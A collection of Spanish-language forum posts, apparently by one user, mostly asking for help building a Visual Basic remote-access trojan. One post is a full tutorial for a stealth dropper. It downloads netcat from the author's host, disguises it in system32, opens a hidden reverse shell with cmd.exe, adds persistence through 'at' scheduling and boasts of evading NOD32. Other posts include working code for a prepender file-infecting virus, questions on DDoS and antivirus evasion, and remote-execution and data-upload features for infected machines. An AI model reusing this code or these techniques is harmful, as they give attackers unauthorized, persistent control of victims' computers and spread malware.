Temas

Buenas estoy con una aplicacion client/server que lleva el control winsock y para quitarle la dependencia estoy husando estos modulos CSocketMaster.cls &  modSocketMaster.bas, el control winsock del server quien quiero quitarle la dependencia no tiene index, luego hago esto en el general declaro:

Public WithEvents s As CSocketMaster

y n el form load:

Private Sub Form_Load()
Set S = New CSocketMaster..
....

a todos los Close añado: CloseSck

todo bien, compilo y listo, pero cuando corro l servidor en una maquina sin Mswinsck.ocx me bota error  diciendo que no se ha registrado correctamente o que es file esta perdido o es invalido, y me marca a la dichosa ocx... porque no me anda bien si lo he echo como he leido en foros, google...y nada   

eso era todo, salu2.
'------------------------------MODIFICADO:--------------------------'

He probado ha cambiar los modulos por otros...y lo mismo..nada.

Buenas, pues tengo una aplicación que captura la pantala, usa winsock, cliente/servidor, pues cuando hace la primera captura o va por la tercer, aveces antes otras despues, pues se me cuelga y se tiene que cerrar error ... y me señala asycfilt.dll <--- esa dll no ce porque pasa esto, tb digo que no siempre pasa esto, alomejor unos dias que va bien y otros se me cae..solo cuando capturo la screen y ya dije marca esa dll..en el error grave, envio el informe y me dice que no hay solucion concreta para este problema..pues eso es todo, salu2.

Buenas, le dejo un codigo mio que lo que hace es esto: al ser ejecutado el .exe, nos deja el terreno listo para una conexion inversa con netcat ( reverse shell ), no se registra la app con windows, simplemente ya vereis que no nos hace falta, sino: llegar a meternos en el sistema, dejar los files necesarios y dejar todo listo para tener la reverse shell con netcat, ya si quiereris hacer modoficaciones pues para que se registre con windows, o cheke si es un winxp/2k y dependiendo el caso se registre en otro sistema, pues muy bien son ideas, pongo el codigo y comento cada linea, salu2 y espero que les sirva como ejemplo!!

Declaraciones:

Código [Seleccionar] Expandir

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet

Option Explicit

en el evento load del formulario:

Código [Seleccionar] Expandir

Private Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0 'descargamos netcat desde nuestro host y lo ponemos en c:\ , el netcat para que pase muchisimo más desapersivido, pasale themida ;), que aunque pese 1mb, lo estamos descagarndo desde vb, no via navegador ;) y al descarga es algo más rapida y no visible ni x ventanas sino talvez por algunos fws, pero vereis que la mayoria de veces el netcat llegara a buen puerto, nod32 x ejemplo no me detectaba.
End Sub


timer con el que copiamos netcat a system32 o a donde quieras..mejor a system32 ; tiene un intervalo de 45000 y esta en enabled = true

Código [Seleccionar] Expandir

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub

el timer con el que vamos a ejecutar el nc con los parametros que queramos: ( de intervalo: 55000 y enabled = true )

Código [Seleccionar] Expandir

Private Sub Timer_run_nc_Timer()
On Error Resume Next
Dim abrir As Long

URLDownloadToFile 0, "http://usuarios.lycos.es/TU_userNAME/wuauclt32.exe", "C:\wuauclt32.exe", 0, 0

abrir = ShellExecute(Me.hwnd, "Open", "C:\wuauclt32.exe", "", "", 1)
Timer_run_nc.Enabled = False
End Sub

pues lo que hace ese timer es tb descargar una app desde nuestro host y ejecutarla, que es esa aplicación ?? una app de no más de 2 lineas de codigo:

abrimos un nuevo projecto aparte de vb, y al form le damos esta propiedad: visible = false, un icono "camuflaje" y ya esta: luego en el form load:

Código [Seleccionar] Expandir

on error resume next
Shell "cmd.exe  /c winnc -d -e cmd.exe túip puerto ", vbHide


y ya, compilamos con p-code paar que el peso sea lo más bajo posible, aunque ya lo va ser...fijate en que es mui poco el codigo..., luego subimos a nuestro host este ejecutable que sera quien ejecute nuestro netcat, tb Debes subir el netcat a tu host

tb decir que la otra aplicacion: la que vamos a enviar, ella se encarga de: descargar netcat, copiarlo ar directorio del sistema, descargar  la app que se encarga d ejecutarlo( en mi caso tiene este nombre:wuauclt32.exe  ) , pues esa tb tenemos que poner el formulario en visible = false, logico!!

y para los que querais tener la seguridad de tener esa maquina controlada con nuestro netcat, vamos a hacerle esto pues es opcional, puedes tb hacerlo desd la shell asi. at 20:30 /every:L,M,Mi,J,V,S,D winnc -d -e cmd.exe túip puerto   , con eso ya dejamos listo el netcat para que se ejecute con esa sintasis todos los dias de la semana ( L,M,Mi,J,V,S,D) a tal hora: 20:30 puse como ejemplo, podemos añadir mas horarios, las 24 horas de un día.

y de otro modo seria:

con un timer en nuestra app, más un bat ya programado con los horarios que queramos, ejemplo como puse: todos los dias ejecutamos netcat con esa sintasis, pero en ves de solo a las 20:30 , cada media hora: osea: 00:00, 00:30, 1:00, 1:30...y asi hasta que queramos, despues d tener el bat listo lo subimos a nuestro host.

Código [Seleccionar] Expandir

timer_at_horarios_d_ejecución_Timer()
On Error Resume Next
Dim abrir As Long
URLDownloadToFile 0, "http://usuarios.lycos.es/tu_user/at.bat", "C:\at.bat", 0, 0

abrir = ShellExecute(Me.hWnd, "Open", "C:\at.bat", "", "", 1)

timer_at_horarios_d_ejecución.enabled = false
end sub

ese timer descarga de nuestro host un bat ya programado por nosotros anteriormente, con los horarios, dias y sintasis con las que se va a ejecutar netcat en nuestro sistema, de intervalo? ponle el que quieras: bueno mejor: minimo 1000( 1seg)

, luego si quieres podrias ponerle tb: para que se registre nuestra app con windows, que cheke si esun winxp o 2k y segun pues se copia y crea key con distintos nombres o no se copia etc, tb puedes, añadirle la funcion de que se agrege a la lista de programas permitidos por el fw d windows, tb con un bat que descarge nuestra app, tb ( ojo con esto ) desde que inicie la app con windows, x ejemplo porque no quieras iniciar el netcat con el comando at como explique, y pones timers date cuenta que en el proximo inicio d windows va a volver a ejeuctar todos los timers y repetir el mismo proceso..osea todo..descargar netcat, copiarlo...etc etc( segun lo que hayas puesto ) , pues para solucionar eso, basta con al final de cada timer como ejemplo pongo el primer timer:

Código [Seleccionar] Expandir

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1 
Timer_copync.Enabled = False
End Sub


con esto: Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1 

creamos un file en c:\ con ese nombre que nos va a servir para esto:

en el form:

Código [Seleccionar] Expandir

Private Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0
   
If Dir("C:\chek_4_file_exist.xD") <> "" Then
        '
       Timer_copync.Enabled = False
       
    Else
       
        Timer_copync.Enabled = True
       
    End If

'ahora con ese codigo en el form le decimos que si ese archivo existe no ejecute el timer de nuevo y si el file no existe pues si ejecutamos el timer
End Sub

solo decir tambien que si hace eso, los timers que tengan esas funciones, de descargar files, ejecutar un file, copiarse a systemfolder etc, Debes ponerlos en enabled = FALSE, para que cuando cheke si existe o no ese file, pues lo ponga en TRUE o deje en FALSE, ya estamos terminando y ahora para los que diran bueno y cuando tenga la shell que hago?

pues usa el comando --->  help

nociones básicas; cd.. para bajar de directorio, cd para esclar a un directorio ejemplos: estamos en: c:\documents and settings\tuUser\mis documentos> y quieres llegar a.. C:\ pues haces esto: cd.. + enter y estaras en:c:\documents and settings\tuUser> cd.. = c:\documents and settings>cd.. = C:\

quieres escalar de c:\ a documents and settings x ejemplo ?? pues: c:\> cd documents and settings = c:\documents and settings>  , con eso ya podras moverte por los directorios y curiosear ya luego demas comandos vete practicandolos help y tienes la ayuda, comando /? su ayuda, ya veras que es fácil

y para quienes digan vale muchas gracias..pero ahora como subo y bajo archivos ?? 

fácil, te bajas el server TFTP d solarwinds.net ( es free ), lo instalas, configuras, selecionas una carpeta donde vamos a depositar los archivos que queramos subir y donde alojar las descargas y cuando ya lo tengas eso vamos con las sintasis para upload & download ( NOTA: Debes tener abierto el puerto: 69 udp y sino es asi..abrelo )

dsd la shell de la maquina X ejecutamos para un upload : tftp.exe -i túip GET "h4ack.bat" c:\h4ackRecibed.bat

para un download:

tftp.exe -i túip PUT c:\documents and settings\user_pc_XX\documentos\h4ck.jpg "recibido_n_mi_compu.jpg"

y eso es todo, si se me ha escapado algo o algun fallo lo comentan para correjirlo, espero que les guste este codectutorial o como lo quieran llamar xD, son solo ideas, practica, no hagan mal con esta información yo no lo he escrito para eso, salu2 by AililiA

buenas, pues ando en esas, necesito calcular el tamaño de cada monitor donde se ejecute mi aplicacion, para que muestre a la misma altura un formulario, osea que muestre tanto en un monitor de 15 pulgadas como en uno de 17 la aplicacion en el mismo sitio de la screen, ( 15 y 17 pulagadas lo puse como ejemplo de + y - ) pues eso es todo, salu2.

buenas pues querria comprimir una imagen ya salvada en el hd con vb, tengo entendido que el cJpeg puede hacerlo...bajando la calidad de la imagen ejemplo: dim eje as new cjpeg
                                    eje.Quality = ... ( un número de 1 a 100)
             

                                pero no c con que parametro cargo una imagen exterña a la aplicación , x ejemplo tengo en c:\image32.jpg y quiero comprimirla con cjpeg, pero no se como cagarla: para luego: cambiarle la calidad y por último salvarla ya con menos calidad, menos peso, eso es todo, salu2 .

Buenas, tengo un problema, necesito saber si hay una webcam instalada en un windows, no se que pasos he de seguir, pues bueno esa es la duda, muchas gracias y salu2

  buenas, pues consigo infectar el archivo pero, cuando ejecuto el file infectado, se ejecuta correctamente sin haun haberlo regenerado..pero no ejecuta mi virus, segun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo  OK..pero entonces como carajo..lo infecto..y luego el husped se ejecuta  ..claro que el virus NO se ejecuta pero el husped si..bueno tengo un lio, pongo el codigo y lo comento, y me dicen porfavor si hay algo que no entiendo, pero bueno entiendo todo lo que es la funcion de infectar,  que no hay mas codigo x el momento, es un proyecto aparte para aprender este metodo de infecion.

Código [Seleccionar] Expandir

Private Const PV = 12288  ' contstante donde meto el peso de mi virus
Option Explicit

Private Sub Form_Load()
infect ("C:\Packman.exe")  ' infect..la funcion..pakman + ruta..esta claro
End Sub

Private Sub Timer1_Timer()
MsgBox " soy el codigo del virus"         ' un timer...que no mas es d ejemplo
Me.Caption = "soy el caption del virus"
MsgBox " soy otra parte del codigo"
Me.Caption = "yo tb ;) "
End Sub

Private Function infect(fileainfectar As String) As Boolean
Dim buffer As String  ' una variable que la vamos a usar como buffer para almasenar el peso del husped
Dim viruspv As String




Open fileainfectar For Binary Access Read As #1  ' abrimos el file a infectar el huesped para leer dedatos
buffer = Space(LOF(1))  ' en la val, buffer le decimos LOF(1) = al peso del huesped
Get #1, , buffer   'leemos en el canal uno la variable buffer
Close #1 'cerramos

If (Right(buffer, 2) <> "xD") Then ' una condicion, le añadimos a buffer en los dos últimos bytes de la app una marka viral para saber si el file esta infectao y entonces infectarlo
MsgBox "el archivo no esta markado x lo tanto no esta infectado, vamos a infectarlo ;)"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #2  ' nos abrimos a nosotros mismo ( al virus en el canal2 )
viruspv = Space(PV)  ' en viruspv ( peso del virus ) metemos PV la constante k tiene todo nuestro peso
Get #2, , viruspv  'leemos los datos de la val, viruspv
Close #2 'ceramos


Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos

Else ' un else--.--
MsgBox " el file que queremos infectar tiene nuestra MARKA...esta infectado, provemos con otro ;)"

End If

End Function

Buenas, la duda es como, que necesito para realizar un ddos con vb, tengo entendido que es haciendo peticiones incansables x ejemplo a un servidor web, pero que tipo de peticiones  alguna en concreto  puedo hacerlo con un rango de hosts a los que quiero enviar esas peticiones  como seria mejor  unas cuantas dudas, más nada, slau2.

Hola buenas, pues querria que mi aplicación en una fecha ( x lo menos ) y si se puede tb pues en una fecha y hora determinada ejecute un codigo ( el que sea, el que yo quiera ) , x ejemplo todos los 12 de Septiembre..descarge una imagen, la muestro, la elimino y reinicio la maquina, saben  esa es la idea, programar un tarea que se ejecute solo en una fecha  determinada.

PD: lo de bajar la imagen es tan solo un ejemplo podria ser cualquier cosa..un msgbox "hola, soy el dia..12 de Septiembre y he ejecutado la tarea que querias, bye bye" , otro ejemplo, osea en esa fecha ejecute un codigo con lo que me de la gana.

Seria como una tarea programada del windows no  Panel d control....tareas programaads..aglo asi, salu2.

  hola pues, ave estoy haciendo una aplicacion: cuando se ejecuta, crea un file de texto con un nombre concreto, luegolo abre en binario y escribe en el una serie de datos y luego lo envia a un ftp.

El problema es: que en cada maquina q se ejecuta esta aplicación, va a crear siempre el mismo texto con el mismo nombre, pero con distintos datos..disntinta maquina..distintos datos..ok?, que ocurre que se me presenta el problema de que cuando este aplicacion aya corrido en mas de un computador, ya habra enviado data.txt 2 veces..al ftp..y en el ftp-.- ya habia un data.txt con otros datos..y claro cuando vaya a enviar otra maquina el segundo..tercero..4..data.txt..lo va a sobreescribir y perdere los datos anteriores, entonces lo que necesito es algun method para que cuando esta app se ejecute en una compu busque algun dato que en cada makina sea distinto y x ese dato le de otro nombre siempre distinto al text, entonces asi mi app enviaria x ejemplo : makina1 --> envia al ftp---> 00932.txt

makina2-----> envia al ftp---> zzl.txt

makina 3----> envia....y asi siempre, entonces tendria en el ftp todos esos archivos con distinto nombre y con lso datos de la maquina correspondiente. Tambien el problema se me presenta n como al methodo k uso para enviar los files al ftp le digo...en que ruta va a estar este file...y cual va a ser su nombre ...si el nombre lo genera como yo dije antes a partir de una serie de datos etc...bueno tengo un lio con esto..xke no se me ocurre ningun modo para hacerlo que no sea asi   

PD: si se me ocurre uno...para conservalos todos...pero es este: estar constantemente vijilando la llegada de textos y en cuanto llegue uno sacarlo del ftp..y guardarlo en mi compu con otro nombre y asi con todos..pero la verdad es que seria...costoso..perdida de tiempo...frustrante etc etc de lo peor, bueno ese es el problema que alomejor alugno dira juaz..xke no lo hace asi ? pues porque me queda aun mucho por aprender y no se me ocurre otra mejor , salu2 .

Buenas, señores y señoras, seria posible tan solo con el control winsock enviar un file.log O .txt a un server ftp  ( al mio en lycos  ) , no hablo de una comunicacion entre cliente/servidor, sino simplemente de una aplicacion que contenga el control winsock, que envie un file...ya lo dije xD a un server ftp, salu2.

Espero que sea posible asi tal cual como lo piento, bye bye.

Hola, buenas pues otra duda es como puedo poner al servidor una contraseña para que cuando en el cliente llegue una conexion pida la contraseña para autentificar que esa conexion proviene de nuestro servidor y de que tenemos acceso a el.  de que mejor forma puedo hacer esto 

 Hola pues he estado mirando el tuto de reydelmundo11 sobre aseptar mas de una conexion y despues de yo crear el index de winsock y dejarlo preparado el server para que asepte + conexiones, en el cliente que debo hacer? me explico yo lo que querria seria en un control ( no se cual es el + indicado ) agrupar todas las ips de los servidores que esten conectados y selecionando una ( ip de la lista ejemplo: bifrost) manejar ese server y poder ya hacer lo que quiera pues x ejemplo capturar la screen y que quiero irme a manejar el file manaher de otro server pues seleciono la ip del correspondiente server y asi...como en el bifrost .

Espero que me puedan ayudar con esto que me esta costando bastante.salu2.

  podria decirle a los moderadores del foro y demas personal que cuando muevan un post mio o lo borren se me notifique de porque   es que se me desaparecio uno aller mismo...que no tenia ningun contenido, ofensivo..y es más es una duda que servia para si a otro le pasaba lo mismo, lo que alguien penso que no tenia ninguna utilidad pues el si conocia lo que comento en el post, entonces pediria más que sea que se notifique y un porque, creo que es lo minimo, todo bien sin porblemas, pero hombre no hagan esas cosas asi como asi, que de verdad que queria enterarme de la ? de mi post y ....me lo han desaparecio : \

salu2

Buenas pues stoy escribiendo una app ..en vb..jeje, no es un trojan, pero si maliciosa XDDD  decir que es indetectable...hasta el momento en que ponga en el codigo ( en cualkier parte , x lo menos de las que lo he puesto) Shell, como ponga shell en cualquier parte del codec...inluc esto señores... Shell ("calc").....ya salta el nod32 cuando voy a compilar y lo detecta como nuevo virus por heruistica....ya digo...hasta si pongo que ejeucte la calculadora como ejemplo lo detcta...( lo puse para probar y canta nod32 )..no se porque si pongo simplmente Shell n la parte que sea del codec me lo detecta nod32...mientras no ponga shell sigue siendo indetectable...alguien tiene una idea de que pueda ser.............yo...estoy trabao. salu2.

Hola alguien tiene un algoritmo de encriptacion para vb capaz de evadir al nod32?? algun modulo...alguna función..pero vamos que este comprobado por usted que funciona, es que el jodio nod32 es el único que me detecta mi aplicacción, Jodio Nod32 XD

.salu2.

hola pues los de ya.com me regalaron la xbox ( antigua ) x drme d alta con ellos , y al meter un dvd me dice esto :


Conectar el receptor del kit de reproducion de peliculas dvd en uno

de los puertos para ver peliculas. Extraer disco para continuar...

*tb cuando meto un cd d audio no lo reconoce...solo cd´s originales me ha leido x el momento la bicha esta!! , bueno espero que alguien me explique , esto.

  Hola , estoy haciendo una aplicación cliente/servidor y  quiero que tenga la opción de ejecuatr archivos que yo suba  a una maquina , y probandolo esto en mi pc si funciona y ejecuta cualquier tipo de archivos . exe . txt . doc . mp3 , etc . Pero el Problema , es que cuando subo por ejemplo un exe a una maquina le doi a ejecutar y no lo ejecuta pues miro en los procesos y no esta la aplicación activa , ni capturando pantalla veo el programa que alla sido ejecutado , entonces doi por echo que no se ha ejecutado , ( es logico ). El codigo que utiliso es este :

Esta API :

Código [Seleccionar] Expandir

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

en el Data Arrival del server :

Código [Seleccionar] Expandir

Dim datos As String
Dim recibido() As String
winsock.GetData datos, vbString
recibido = Split(datos, vbParseData)




Select Case recibido(0)

Código [Seleccionar] Expandir

Case "EJECUTAR"
ShellExecuteA Me.hwnd, "Open", recibido(1), vbNullString, vbNullString, 1

End Select


-----Cliente----


En el frm donde tengo el File Manager , en el boton que ejecuta los archivos :

Código [Seleccionar] Expandir

Private Sub Command4_Click()
frm_Main.winsock.SendData "EJECUTAR" & vbParseData & Text2.Text
End Sub


PD: Como ya dije en mi maquina funciona perfectamente ejecuta cualkier archivo . espero que alguien sepa cual es el problema , salu2

  Hola , pues estoy haciendo una aplicación cliente/servidor y quiero darle esta opción la de aseptar + de una conexión , pero mi idea es : Tener un formulario de escucha en un puerto ( el del servidor , asi recoje en una listbox todas las pcs infectadas ) , luego al clikar ensima de una ip de la listbox que ejecute el cliente y por último manejar a esa maquina con el cliente. De todo eso que he escrito tengo la mitad he conseguido todo eso , hasta lo de clikar y ejecutar el cliente , pero donde estoy atascado es a la hora de que el cliente conecte a esa ip de la listbox , decir que uso conexion inversa  , entonces no me ago la idea de como puedo hacer que al picar en una de las ips , ejecute el cliente y conecte , solo consigo que ejecute el cliente , pero no que conecte con esa ip por conexion inversa , bueno espero que alguien que me entienda me pueda dar alguna idea o un ejemplo sencillito , bueno me despido  , salu2.

Hola , es que al añadirle al proyecto este modulo y esta calse de modulo me ha interferido en el servidor ( es una aplicación cliente / servidor) y me ha dado problemas , alomejor ago algo mal , nose si alguien sabria ayudarme  , un salu2

  Hola , tengo un problema y es que en mi trojan le ise un chat , pero solo envia desde el cliente al chat del servidor ( frmChat) y el winsock lo tengo en el frmPrincipal ( todo esto en el server ) el winsock lo llame sock1 , y resulta que me da un error en tiempo de ejecucion , no se porque no consigue enviar desde el server al cliente , mientras que de cliente a server si envia , el codigo es este

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Dim Envio As String
Envio = Text1.Text
If Envio <> "" Then
  B.AddItem "Yo: " & Envio
  sock1.SendData Envio
  Text1.Text = ""
End If
End Sub

eso en el Chatfrm del cliente en un command1

siguiente :

Código [Seleccionar] Expandir

Private Sub sock1_DataArrival(ByVal bytesTotal As Long)
Dim Envio As String
sock1.GetData Envio, vbString
B.AddItem "Server: " & Envio
End Sub

eso en el data arrival del Chatfrm del Cliente

----El Servidor----

frmChat del servidor:

en un command

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Envio = Text1.Text
If Envio <> "" Then
  B.AddItem "Yo: " & Envio
  frmPrincipal.sock1.SendData Envio
  Text1.Text = ""
End If
End Sub


aora en el data arrival del frmPrincipal del servidor
donde tengo el objeto winsock ( sock1)

Código [Seleccionar] Expandir

Private Sub sock1_DataArrival(ByVal bytesTotal As Long)
Dim Envio As String
sock1.GetData Envio, vbString
If sock1.State = 7 Then
frmChat.B.AddItem "Cliente: " & Envio
End If
Select Case Envio
Case "hi"
frmChat.Show
Case "bye"
frmChat.Visible = False
End Select
End Sub

Y donde me marca el error al debugearlo es :

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Envio = Text1.Text
If Envio <> "" Then
  B.AddItem "Yo: " & Envio
   [color=Green]frmPrincipal.sock1.SendData Envio[/color] <AKI
  Text1.Text = ""
End If
End Sub

  haber loko tss tengo k grabar 3 peliculas y nesesito cortarlas pa grabarlas cada una en 2 cds una de ellas al abrirla con el virtualdub me da error y dice que es un archivo mpg4 noseke que nesesito unos codes luego la otra me dice que es divx5.2 y la otra si me deja editarla el virtualdub pero solo cortando 50 minutos el archivo resultante es de 10 gb .... lo pare y ya me mato 
Pos solo nesesito copiarlas a CD si alguien sabe una manera de copiar estas 2 pelis a vcd o lo que sea pso que me ayude xke estoi pescando y la otra la que si abre virtualdub haber si me dicen que hago mal porke me ocupa tanto si LA ESTOY CORTANDO !!  Y DEBERIA OCUPAR MENOS NO no? chus...si alguien se le da esto de la multimedia que me oriente bastante XDDD xfavor

si bueno si ha sido movido vale , me equiboque de secion o talvez no buque x el foro antes d pòstear pero bueno , si se ha eliminado PUES NO LO ENCUENTRO !!!! xke no se notifica al usuario d que ha sido ELIMINADO joder , pido mucho yo?

no mas bien el k pide es otro...pero bueno asi time que no posteaba nada lo ise rapido porke me asia apuro . bueno si alguien se digna a darme una esplicasion , creo que la meresco he !!

estoi encantado de resivirl xke no es justo he k lo eliminen y no me notifiquen de ello , bueno ya lo k are sera si no encuentro la info y lo estoi buscando le yamo a usted heyy un toke al  movil y me lo busca??? o posteo =??? no se si no lo encuentro entreee miles d post para buscar jo vaya k pasiensia ai que tener pa ir de arriba abajo vale vale


que mal k postiee ayi y no aya y x eso se borra ...como dice la cansion kien kiera k lo borro oiga usted : PERDONAME LA VIDAAAAAAAAAAAAAAAAAAA pos eso enga salu2

AililiA